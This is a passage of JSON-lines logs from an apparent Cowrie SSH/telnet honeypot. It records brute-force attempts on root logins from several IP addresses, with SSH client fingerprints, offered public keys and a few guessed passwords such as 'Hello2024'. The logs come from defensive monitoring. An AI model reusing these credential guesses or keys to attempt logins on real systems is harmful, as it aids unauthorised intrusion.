"aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.368999Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:1b:6f:31:12:ac:3b:5a:71:ea:bb:19:37:83:4e:3e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINXvIWpl4ambPMNDXY/nWG/OdXOPRPVtn1FHAh8MPoB/","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a2:1b:6f:31:12:ac:3b:5a:71:ea:bb:19:37:83:4e:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.767380Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:1b:6f:31:12:ac:3b:5a:71:ea:bb:19:37:83:4e:3e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINXvIWpl4ambPMNDXY/nWG/OdXOPRPVtn1FHAh8MPoB/","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.771193Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:17:30:5b:66:42:3c:3a:91:d6:c8:f8:7d:0a:55:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvoK3ABQyVbgjgy/yJUekOGj7V0Dkz+VR+SO8nNtcj2KraOdn+R3A3fqhp5h8hYIvttfERvNJ2H0un4clN6fzqQfaSxidNGLjtS3SMWtLGkDY82kjjkuDQdygAseUFD34K6UB9FPZhWRpVvhEFhEb3DoUiomo2zxeMPflWtFhyCoWv/4ecUmuFcyLB7Su0blCHzREmu4lxRkIt5o4TPTqqCMkII/i0evrIyBW9M8DCaSUvnrnaZbql/jkMjKUGCdt+q1cvV7W7f1Lx/Fr+aGRuKIaZK5Rw9Df/ZKHZFpUK0TTt1O5a2G98EYWVmG6PId84GxnwxJhbb3SwgNjSldR7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:17:30:5b:66:42:3c:3a:91:d6:c8:f8:7d:0a:55:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.856102Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:17:30:5b:66:42:3c:3a:91:d6:c8:f8:7d:0a:55:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvoK3ABQyVbgjgy/yJUekOGj7V0Dkz+VR+SO8nNtcj2KraOdn+R3A3fqhp5h8hYIvttfERvNJ2H0un4clN6fzqQfaSxidNGLjtS3SMWtLGkDY82kjjkuDQdygAseUFD34K6UB9FPZhWRpVvhEFhEb3DoUiomo2zxeMPflWtFhyCoWv/4ecUmuFcyLB7Su0blCHzREmu4lxRkIt5o4TPTqqCMkII/i0evrIyBW9M8DCaSUvnrnaZbql/jkMjKUGCdt+q1cvV7W7f1Lx/Fr+aGRuKIaZK5Rw9Df/ZKHZFpUK0TTt1O5a2G98EYWVmG6PId84GxnwxJhbb3SwgNjSldR7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.860296Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:56:9b:b2:73:40:b5:42:21:df:fb:79:71:86:2b:91","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM0LVc+HfrzB4QZ4lPohLc3uTcLWXLKF+7A1Nq+bOMSm8/qY3FBE6zXTlZINTUrYElGBP5/Xa9PQz0N+cT+R0qac2T/b1qo0YWUVeC2lgOIhtLTp0zQ7wc/aBAP0+UJ69kAlK8zkVVDEf4ArFLax06ymwNtO/AJfGA48QhjINb7xAAAAFQDuBhc5pxOBt7AkpkA7GnduQNWhiQAAAIEApsIyUz54sq/klTuLLrxbY9hFTvCYaBEyeRd13oO7c6MHdFEr8/8IRHhVwhR4Dz5m6QSqKYkNEMg6XonftnTF7F1hZ2qkSxTMXbcBRvSec9JG0SHB2Vh9nE1+xavzLvC/Et73ntDD+hiXUOqhA2Q7k/XGhWG6xTkz4RQQB0zJcN0AAACBALx+zS7tlIy4XNXh/ZxPtzGUOJM5WwvkMk7vpwfn57w8q24zezeKsqk1q40kYXMriIrcwVciJcmg6P+slU7Tt/yR4VmJhzI59z5NgzUMY+Z+/6W8NNqDdhmpIYJy3HuUoB9H52va3OBbv3u3hxN0BRUzXd4QUoWMA50TdzdVjw+n","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 5d:56:9b:b2:73:40:b5:42:21:df:fb:79:71:86:2b:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.947936Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:56:9b:b2:73:40:b5:42:21:df:fb:79:71:86:2b:91","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM0LVc+HfrzB4QZ4lPohLc3uTcLWXLKF+7A1Nq+bOMSm8/qY3FBE6zXTlZINTUrYElGBP5/Xa9PQz0N+cT+R0qac2T/b1qo0YWUVeC2lgOIhtLTp0zQ7wc/aBAP0+UJ69kAlK8zkVVDEf4ArFLax06ymwNtO/AJfGA48QhjINb7xAAAAFQDuBhc5pxOBt7AkpkA7GnduQNWhiQAAAIEApsIyUz54sq/klTuLLrxbY9hFTvCYaBEyeRd13oO7c6MHdFEr8/8IRHhVwhR4Dz5m6QSqKYkNEMg6XonftnTF7F1hZ2qkSxTMXbcBRvSec9JG0SHB2Vh9nE1+xavzLvC/Et73ntDD+hiXUOqhA2Q7k/XGhWG6xTkz4RQQB0zJcN0AAACBALx+zS7tlIy4XNXh/ZxPtzGUOJM5WwvkMk7vpwfn57w8q24zezeKsqk1q40kYXMriIrcwVciJcmg6P+slU7Tt/yR4VmJhzI59z5NgzUMY+Z+/6W8NNqDdhmpIYJy3HuUoB9H52va3OBbv3u3hxN0BRUzXd4QUoWMA50TdzdVjw+n","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:12.952342Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:2c:4a:57:79:59:8f:63:0a:80:41:e6:3b:48:84:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0fRzeuP1EVGIBqBMK3oCwg951wLXkexZQKuiR4NVsmwnTRIIcj0cAHFehEhIh1BKsrkGCv+Ldv/xLp3BBsf/bLtwFYo+Y8BiIx0fh+1biEcDRAzaK7CDBOPRyS8oU7Ptyf/TEZVrPXQ/vpFMpoBQ8jfcMVAG7lQMBxbjYZyGVf50FaEmE3fBk1qzL2/3WCvQtiOmenwm43yds5j+r32CYDdbLAvfw8fow1pgB4jeXmLcMKDsxyzaH9KFRFGO1pN7QxoV0EnYvq7kZV/yUIuFiC276OX+YAx+YHEv9Ygb8nsn8pNOKGHqc497t8WK2OJSQstUAHIBAfO0EIb7BTKn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:2c:4a:57:79:59:8f:63:0a:80:41:e6:3b:48:84:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:13.038207Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:2c:4a:57:79:59:8f:63:0a:80:41:e6:3b:48:84:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa0fRzeuP1EVGIBqBMK3oCwg951wLXkexZQKuiR4NVsmwnTRIIcj0cAHFehEhIh1BKsrkGCv+Ldv/xLp3BBsf/bLtwFYo+Y8BiIx0fh+1biEcDRAzaK7CDBOPRyS8oU7Ptyf/TEZVrPXQ/vpFMpoBQ8jfcMVAG7lQMBxbjYZyGVf50FaEmE3fBk1qzL2/3WCvQtiOmenwm43yds5j+r32CYDdbLAvfw8fow1pgB4jeXmLcMKDsxyzaH9KFRFGO1pN7QxoV0EnYvq7kZV/yUIuFiC276OX+YAx+YHEv9Ygb8nsn8pNOKGHqc497t8WK2OJSQstUAHIBAfO0EIb7BTKn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:13.042799Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:13:9d:83:e4:e5:10:42:a8:f9:5b:45:6d:5a:91:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTuYDsP+yWXjthasHmSOv/t/XAghvRai40vk30DbIpYAxfvXrbsWJ7WxNkKdhPPBikWpzRzGXiPclBwgmXkOBdCTMJO1wlVXVoKNCuO+C87yYXgmTbxSwguOswJdzOMzXJBS9RexTq9lq3P6vUq28Mx6N8Esph4f0VFOYiimvXNiwiWQj9QAlZe+jsJBandn39SjdOc6+6TIspCHR03opZeoDtKqdYO18btusNSr+95LBkzdk0aHL/ch/g2cr0RBRkamZ+6yPc7Qi4f2TeIaTPzNtOBrz3ZMUvut3a4BQIyy4O4YWhqTQ/Q5jBitRNbgsJEwUY1FfMDz2AhcT8nYkF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:13:9d:83:e4:e5:10:42:a8:f9:5b:45:6d:5a:91:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:13.130076Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:13:9d:83:e4:e5:10:42:a8:f9:5b:45:6d:5a:91:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTuYDsP+yWXjthasHmSOv/t/XAghvRai40vk30DbIpYAxfvXrbsWJ7WxNkKdhPPBikWpzRzGXiPclBwgmXkOBdCTMJO1wlVXVoKNCuO+C87yYXgmTbxSwguOswJdzOMzXJBS9RexTq9lq3P6vUq28Mx6N8Esph4f0VFOYiimvXNiwiWQj9QAlZe+jsJBandn39SjdOc6+6TIspCHR03opZeoDtKqdYO18btusNSr+95LBkzdk0aHL/ch/g2cr0RBRkamZ+6yPc7Qi4f2TeIaTPzNtOBrz3ZMUvut3a4BQIyy4O4YWhqTQ/Q5jBitRNbgsJEwUY1FfMDz2AhcT8nYkF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:13.134367Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:13.219972Z","src_ip":"102.129.200.101","session":"7f813c63291b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34252381324768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:23.156608Z","src_ip":"192.119.13.58","session":"848699251a5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72075366973877,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:23.426761Z","src_ip":"192.119.13.58","session":"48d995b8d2e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52018,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c95eb97c668","protocol":"ssh","message":"New connection: 147.45.199.80:52018 (10.17.0.5:22) [session: 0c95eb97c668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:27.480389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:27.485047Z","src_ip":"147.45.199.80","session":"0c95eb97c668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:27.592647Z","src_ip":"147.45.199.80","session":"0c95eb97c668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123459","message":"login attempt [root/123459] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:27.895235Z","src_ip":"147.45.199.80","session":"0c95eb97c668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:28.999845Z","src_ip":"147.45.199.80","session":"0c95eb97c668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.51596426963806,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:34.419563Z","src_ip":"192.119.13.58","session":"15bd8b1c24a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97370982170105,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:34.947665Z","src_ip":"192.119.13.58","session":"330969502652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.62600827217102,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:43.112626Z","src_ip":"192.119.13.58","session":"f90191653038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":42000,"dst_ip":"159.203.135.109","dst_port":22,"session":"963333ed4d15","protocol":"ssh","message":"New connection: 103.101.216.219:42000 (159.203.135.109:22) [session: 963333ed4d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:46.727128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:46.731646Z","src_ip":"103.101.216.219","session":"963333ed4d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:46.970257Z","src_ip":"103.101.216.219","session":"963333ed4d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello2024","message":"login attempt [root/Hello2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:47.956400Z","src_ip":"103.101.216.219","session":"963333ed4d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:49.200936Z","src_ip":"103.101.216.219","session":"963333ed4d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.282609939575195,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:49.456341Z","src_ip":"192.119.13.58","session":"6291ade7bbe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.04286170005798,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:23:50.606184Z","src_ip":"192.119.13.58","session":"fcd33809bc20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38504,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdce1dd90d47","protocol":"telnet","message":"New connection: 192.119.13.58:38504 (10.17.0.5:23) [session: cdce1dd90d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:07.158204Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.231","src_port":34358,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa3471cad1fb","protocol":"ssh","message":"New connection: 65.60.61.231:34358 (10.17.0.5:22) [session: fa3471cad1fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.478075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.482149Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.511255Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:f2:40:94:4d:2a:0f:6f:c2:d1:aa:b8:27:e4:9f:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAsmQw37HT2xH94gi14+0U6qmvtUNDrNQQxEQF6fpG+dhlGN6JYrOl/geeJa+X9dDzXKHRP4KAyHLI/HrsYGBVm6Aph+hL4nEF/M6LTiwkHwnruPh5+/amNCh7gNZ5k0RTx3Bd2zzUuLDVqd5T60xCgaUiiNS0PRBIa6NRKQZLCpGAGi/mMuWFykges7EQJ4ggVEhztgYO3wf6bD9oLo3KuOYX4fhyOwKqVslWltePPr/OhR6eLmGKY6MWbMzdEaBH5APIw5Fazyf5ZwS/XzYSQPtYiPiNdyWAXV7pyIQg4vEPG0nqn8IZlgQmY+aKWJVQ1RwdpWpSGZu/W1GzWysIdHrJig4JC/Gnc4CKs9FFlRFmGIc4lkxm0DQHkzj5vPBzXCAH2YOHSrkWX9k1HalhK8s0Jm69p6470+UbW+6cRYP7ZR4W33V1bTlbOCb/FCu7QjlO2/7D698gf5CZcOkV4tpCyVHMGA/mMG+zBFDbZXxVO4mKHgilmM9NDot24kMdPmpxoCdZE410lOR2bfXvpmrtqM9HzeQsWpOXRtS9mqtuECDIK0Bpf5OVjVnbiTD3qzVxYtJ+jaKGuM9FNLJNU5BmoxHUyHFUTYfHiTOnQ7cgblOJ8NAVB2ZvB2eIcLwFsQcMc5BLH4EUU/0CNHty2ZZ9qMLwoKW01iSlojb9tRU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:f2:40:94:4d:2a:0f:6f:c2:d1:aa:b8:27:e4:9f:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.634000Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:f2:40:94:4d:2a:0f:6f:c2:d1:aa:b8:27:e4:9f:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAsmQw37HT2xH94gi14+0U6qmvtUNDrNQQxEQF6fpG+dhlGN6JYrOl/geeJa+X9dDzXKHRP4KAyHLI/HrsYGBVm6Aph+hL4nEF/M6LTiwkHwnruPh5+/amNCh7gNZ5k0RTx3Bd2zzUuLDVqd5T60xCgaUiiNS0PRBIa6NRKQZLCpGAGi/mMuWFykges7EQJ4ggVEhztgYO3wf6bD9oLo3KuOYX4fhyOwKqVslWltePPr/OhR6eLmGKY6MWbMzdEaBH5APIw5Fazyf5ZwS/XzYSQPtYiPiNdyWAXV7pyIQg4vEPG0nqn8IZlgQmY+aKWJVQ1RwdpWpSGZu/W1GzWysIdHrJig4JC/Gnc4CKs9FFlRFmGIc4lkxm0DQHkzj5vPBzXCAH2YOHSrkWX9k1HalhK8s0Jm69p6470+UbW+6cRYP7ZR4W33V1bTlbOCb/FCu7QjlO2/7D698gf5CZcOkV4tpCyVHMGA/mMG+zBFDbZXxVO4mKHgilmM9NDot24kMdPmpxoCdZE410lOR2bfXvpmrtqM9HzeQsWpOXRtS9mqtuECDIK0Bpf5OVjVnbiTD3qzVxYtJ+jaKGuM9FNLJNU5BmoxHUyHFUTYfHiTOnQ7cgblOJ8NAVB2ZvB2eIcLwFsQcMc5BLH4EUU/0CNHty2ZZ9qMLwoKW01iSlojb9tRU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:24:14.638662Z","src_ip":"65.60.61.231","session":"fa3471cad1fb","protocol":"ssh"}
